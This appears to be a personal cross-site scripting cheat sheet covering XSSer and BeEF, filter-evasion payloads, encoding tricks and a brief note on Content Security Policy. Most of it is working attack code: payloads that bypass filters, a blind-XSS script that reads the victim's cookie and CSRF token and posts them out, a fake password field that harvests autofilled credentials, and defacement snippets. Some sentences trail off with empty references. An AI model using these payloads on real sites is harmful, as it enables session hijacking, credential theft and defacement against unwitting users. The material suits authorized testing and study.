An automatic framework to detect, exploit and report XSS vulnerabilities.
xsser --wizard(guided start)xsser --gtk(GUI)
Very powerful combined with XSS vulnerability. BeEF is able to provide a URL that if opened by the victim is able to establish a link (HOOK).
Edit /etc/beef-xss/config.yaml or beef/config.yaml
Be careful and try with quote and tag injection to escape the syntax.
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
WebSocket-URL poisoning
WebSocket()
// Object.Array.Function(XSS Vector)
// Instead of [] you can use: “” ''
// Instead of constructor also: map at
// In the first version in both positions (with alert(1))
// In the second only in the first constructor (with 'alert(1)')
[].constructor.constructor(alert(1))
[].constructor.constructor('alert(1)')()
''.at.at(alert(1))
''.at.constructor('alert(1)')()
[]['map']['map'](alert(1))
[]['map']['constructor']('alert(1)')()
// in this way I can use encoding
window[alert(1)]
window[’alert’](1)
// Instead of window also: this, top, globalThis
'accesskey='X'onclick='alert(1)
# (ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)
Script tag (the browser first performs HTML parsing to identify the page elements including blocks of script, and only later performs JavaScript parsing to understand and execute the embedded scripts)
<script>
...
var input = '</script><img src=1 onerror=alert(document.domain)>';
...
</script>
onerror=alert;throw 1
{onerror=alert}throw 1
throw onerror=alert,'some string',123,'aaaa'
// Chrome prefixes the string sent to the exception handler with "Uncaught"
// On Firefox the exception gets prefixed with a two word string "uncaught exception"
{onerror=eval}throw'=alert\x281337\x29' // Uncaught=alert(1337)
{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'} // Firefox
{onerror=prompt}throw{lineNumber:1,columnNumber:1,fileName:'second argument',message:'first argument'}
throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]
TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']
// Use with <svg> tag (no CDATA, it is based on XML and does the encoding)
// They usually work in “” and ‘’.
\u0061lert(1) // Unicode
alert(1) // Hexadecimal NCR
alert(1) // Decimal NCR
\141lert(1) // Octal
\x61lert(1) // Hexadecimal
17795081..toString(36)+”(1)” // Only letters and numbers, no characters
// in Python: Int(”<STR>”, 36)
/ale/.source+/rt(1)/.source
// /<STRING>/.source, it is possible to use spaces etc. between / and /
atob("YWxlcnQoMSk=") // base64
Blind XSS
It occurs when the XSS vulnerability is triggered on a page we do not have access to. This means that we will not see how our input will be handled or how it will appear in the browser.
<script>
window.addEventListener('DOMContentLoaded', function() {
var token = document.getElementsByName('csrf')[0].value
var data = new FormData();
data.append('csrf', token);
data.append('postId', 8);
data.append('comment', document.cookie);
fetch('/post/comment', {
method: 'POST',
mode: 'no-cors',
body: data
});
});
</script>
Capture Passwords
These days, many users have password managers that auto-fill their passwords. You can take advantage of this by creating a password input, reading out the auto-filled password, and sending it to your own domain.
<input type="text" name="username">
<input type="password" name="password" onchange="dothis()">
<script>
function dothis() {
var username = document.getElementsByName('username')[0].value
var password = document.getElementsByName('password')[0].value
var token = document.getElementsByName('csrf')[0].value
var data = new FormData();
data.append('csrf', token);
data.append('postId', 8);
data.append('comment', `${username}:${password}`);
fetch('/post/comment', {
method: 'POST',
mode: 'no-cors',
body: data
});
};
</script>
Defacing
Change the appearance of the web page.
This is done through JavaScript functions; the same elements can be written differently and perhaps more compactly with jQuery if present.
document.getElementById("todo").innerHTML = "New Text"document.getElementsByTagName('body')[0].innerHTML = "New Text"(change the first body, usually the only one)
Browser security mechanism that aims to mitigate XSS and some other attacks.
HTTP response header called Content-Security-Policy with a value containing the policy. The policy itself consists of one or more directives, separated by semicolons.
Need to edit and delete the other elements of the page, see .
Convert payload to a single line with or see .
"" directive allows you to control just script blocks and was created so that you can allow event handlers but block script elements (it will overwrite existing script-src directives!).
